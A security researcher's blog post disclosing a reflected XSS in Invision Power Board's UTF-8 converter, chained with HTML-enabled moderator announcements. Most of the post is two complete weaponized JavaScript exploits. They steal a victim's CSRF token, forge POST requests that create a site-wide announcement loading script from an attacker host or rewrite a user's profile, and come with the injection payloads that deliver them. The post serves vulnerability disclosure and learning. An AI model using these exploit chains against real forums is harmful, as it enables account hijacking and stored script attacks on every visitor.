Reflected & Stored XSS in Invision Power Board

2017-05-09

Invision Power Board is a very popular paid forum software.

I decided to audit it and initially found a few stored XSS vulnerabilities in the admin panel, all had a low impact, so I didn't report them. I then came across the Announcements function in the Moderator Control Panel. Essentially this function allows moderators and admins to create an forum announcement for every user to see, and it also allowed any HTML in it!

If I had access to a moderator account or higher, I could easily put an XSS payload in an annoucement and attack everyone. I obviously wasn't satisfied so I kept searching for another bug to chain it with.

I eventually came across the IPS UTF8 Converter, when I was using find & grep to find different variables in the source code. This tool, which comes with the default installation, is used to convert all the tables in the database to UTF-8. I opened up the path to the converter admin/convertutf8/index.php and quickly got an error message. I was pretty bummed because I was initally looking into an RCE, but came up empty. But then I saw the controller= parameter. I checked the source of the page and saw that this parameter was not sanitizing any input at all and that I could insert HTML and javascript here, no authentication required! My first proof of concept was just a simple payload => %29};alert(document.domain);{ %27

Most times when people report an XSS or do a write up, they just use an alert(1) and just give a hypothetical attack. I didn't want to do that with this one. I really wanted to weaponize this as much as possible (and in a fun way), so I coded a couple scripts to do just that!

The first script was:

/*
 _
(_)_ ____      ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V  V /| | | |
|_| .__/ \_/\_/ |_| |_|
 |_|  IPB Exploit
      by @hacker_
*/
 
// specifies the target, the title of the announcement, and the xss payload!
var target = "http://<target>/index.php?/modcp/announcements/&action=create";
var title = "URGENT";
 
// Don't use quotes! It'll break our form down below!
var payload = "<script src=//<ATTACKER>/lol.js></script>";
 
// steals the csrf token ;)
var cdl = get(target);
document.body.innerHTML = cdl;
var form = document.getElementsByTagName("input")[3];
var token = form.value;
 
// DON'T EDIT!!
// Gets the current date! Thanks stackoverflow
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth() + 1; //January is 0!
var yyyy = today.getFullYear();
if (dd < 10) {
  dd = "0" + dd;
}
if (mm < 10) {
  mm = "0" + mm;
}
var today = mm + "/" + dd + "/" + yyyy;
 
// build form with valid token and evil credentials
document.body.innerHTML +=
  '<form id="corben" action="' +
  target +
  '" method="POST">' +
  '<input type="hidden" name="_submitted" value="1">' +
  '<input type="hidden" name="csrfKey" value="' +
  token +
  '">' +
  '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">' +
  '<input type="hidden" name="plupload" value="corben">' +
  '<input type="hidden" name="announce_title" value="' +
  title +
  '">' +
  '<input type="hidden" name="announce_start" value="' +
  today +
  '">' +
  '<input type="hidden" name="announce_end_unlimited" value="0">' +
  '<input type="hidden" name="announce_content" value="' +
  payload +
  '">' +
  '<input type="hidden" name="announce_content_upload" value="corben">' +
  '<input type="hidden" name="announce_app_unlimited" value="*">' +
  '<input type="hidden" name="announce_calendars">' +
  '<input type="hidden" name="announce_calendars-zeroVal" value="on">' +
  '<input type="hidden" name="announce_download_categories">' +
  '<input type="hidden" name="announce_download_categories-zeroVal" value="on">' +
  '<input type="hidden" name="announce_forums">' +
  '<input type="hidden" name="announce_forums-zeroVal" value="on">' +
  "</form>";
 
// submits our csrf form!
document.forms["corben"].submit();
 
function get(url) {
  var xmlHttp = new XMLHttpRequest();
  xmlHttp.open("GET", url, false);
  xmlHttp.send(null);
  return xmlHttp.responseText;
}

It requires a moderator or admin to visit (not too hard to do). Once they visit it, it creates an announcement abusing the first bug I found, thus chaining this reflected XSS with the stored one. It does this by stealing the moderator's / admin's CSRF token, builds a CSRF form with that token & with the HTML we want to be in the announcement, and then submits the form, creating our malicious announcement :) Payload: controller='};</script><script src=//<attacker>/xss.js></script>;{'

The second script I coded was:

/*
www.corben.io/pocs/lol.js
(_)_ ____      ___ __
| | '_ \ \ /\ / / '_ \
| | |_) \ V  V /| | | |
|_| .__/ \_/\_/ |_| |_|
 |_|  IPB Exploit
      by @hacker_
 
index.php?/profile/<user>/&tab=field_core_pfield_1
This will add "corben is my hero" to the user's about me.
*/
var target = "http://localhost/ips_4141/index.php";
var payload = "corben is my hero";
 
// Gets the Profile URL of the victim.
var cdl = get(target);
document.body.innerHTML = cdl;
var user_url = document.getElementsByTagName("a")[13];
var user_url1 = document.getElementsByTagName("a")[14];
var user_url2 = document.getElementsByTagName("a")[15];
var user_url3 = document.getElementsByTagName("a")[16];
var user_url4 = document.getElementsByTagName("a")[17];
var user_url5 = document.getElementsByTagName("a")[18];
var user_url6 = document.getElementsByTagName("a")[19];
var user_url7 = document.getElementsByTagName("a")[20];
var yay = user_url.href;
var yay1 = user_url1.href;
var yay2 = user_url2.href;
var yay3 = user_url3.href;
var yay4 = user_url4.href;
var yay5 = user_url5.href;
var yay6 = user_url6.href;
var yay7 = user_url7.href;
var mod_check0 = document.getElementsByTagName("a")[22];
var mod_check1 = document.getElementsByTagName("a")[22];
var mod_check2 = document.getElementsByTagName("a")[23];
var mod_check3 = document.getElementsByTagName("a")[24];
var mod_check4 = document.getElementsByTagName("a")[25];
var mod_check5 = document.getElementsByTagName("a")[26];
var mod_check6 = document.getElementsByTagName("a")[27];
var check0 = mod_check1.href;
var check1 = mod_check1.href;
var check2 = mod_check2.href;
var check3 = mod_check3.href;
var check4 = mod_check4.href;
var check5 = mod_check5.href;
var check6 = mod_check5.href;
 
/*
Mods / admins have a different amount of links before their profile URL, so this makes sure
we grab the right profile URL and not some random one!
*/
if (yay.includes("profile")) {
  //user = normal user acc.
  var profile = yay;
} else if (yay1.includes("profile")) {
  //user = normal user acc.
  var profile = yay1;
} else if (yay2.includes("profile")) {
  //user = normal user acc.
  var profile = yay2;
} else if (yay3.includes("profile")) {
  //user = normal user acc.
  var profile = yay3;
} else if (yay4.includes("profile")) {
  //user = normal user acc.
  var profile = yay4;
} else if (yay5.includes("profile")) {
  //user = normal user acc.
  var profile = yay5;
} else if (yay6.includes("profile")) {
  //user = normal user acc.
  var profile = yay6;
} else if (yay7.includes("profile")) {
  //user = normal user acc.
  var profile = yay7;
} else if (check0.includes("profile")) {
  //user = mod or admin
  var profile = check0;
} else if (check2.includes("profile")) {
  //user = mod or admin
  var profile = check2;
} else if (check3.includes("profile")) {
  //user = mod or admin
  var profile = check3;
} else if (check4.includes("profile")) {
  //user = mod or admin
  var profile = check4;
} else if (check5.includes("profile")) {
  //user = mod or admin
  var profile = check5;
} else if (check6.includes("profile")) {
  //user = mod or admin
  var profile = check6;
}
var final = profile + "edit/";
 
// steals the csrf token
 
var csrf = get(final);
document.body.innerHTML = csrf;
var inp = document.getElementsByTagName("input")[3];
var token = inp.value;
 
// build form with valid token and evil credentials
document.body.innerHTML +=
  '<form id="woot" action=' +
  final +
  ' method="POST">' +
  '<input type="hidden" name="form_submitted" value="1">' +
  '<input type="hidden" name="csrfKey" value="' +
  token +
  '">' +
  '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">' +
  '<input type="hidden" name="plupload" value="corben">' +
  '<input type="hidden" name="bday[month]" value="0">' +
  '<input type="hidden" name="bday[day]" value="0">' +
  '<input type="hidden" name="bday[year]" value="0">' +
  '<input type="hidden" name="enable_status_updates" value="0">' +
  '<input type="hidden" name="enable_status_updates_checkbox" value="1">' +
  '<input type="hidden" name="core_pfield_1" value="' +
  payload +
  '">' +
  '<input type="hidden" name="core_pfield_1_upload" value="corben">' +
  "</form>";
 
// submits our csrf form!
document.forms["woot"].submit();
 
function get(url) {
  var xmlHttp = new XMLHttpRequest();
  xmlHttp.open("GET", url, false);
  xmlHttp.send(null);
  return xmlHttp.responseText;
}

This javascript steals the victim's CSRF token, builds a CSRF form & submits it, enables the user's status updates in order to change their "About Me" bio to "corben is my hero"

Payload:

controller = "};</script><script src=//<attacker>/lol.js></script>;{";

Needless to say, I had a ton of fun weaponizing this reflected XSS and abusing the HTML option in the Announcements! It was definitely a great learning experience as well. Read the full advisory here.

Thanks for reading,

Corben Leo